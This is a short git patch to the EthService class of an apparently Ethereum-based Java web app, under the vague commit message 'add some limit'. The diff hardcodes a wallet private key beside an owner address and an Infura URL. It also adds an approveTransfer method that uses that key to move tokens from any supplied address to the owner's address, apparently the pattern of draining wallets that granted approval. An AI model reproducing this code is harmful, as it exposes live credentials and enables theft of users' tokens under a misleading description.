From ac4c6f8771de8148f1ba2292dd8fcb7c986883a4 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 24 Mar 2022 15:25:16 +0800
Subject: [PATCH] add some limit

---
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 2f45fcf..66c0309 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -54,6 +54,7 @@
 	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
 	private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
 	private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
+	private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
 
 	public EthService() {
 		try {
@@ -250,6 +251,15 @@
 		}
 	}
 
+	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+		try {
+			return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+		} catch (InterruptedException | ExecutionException e) {
+			e.printStackTrace();
+			return "";
+		}
+	}
+
 	public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
 			throws InterruptedException, ExecutionException {
 		// Web3j web3j = Web3j.build(new

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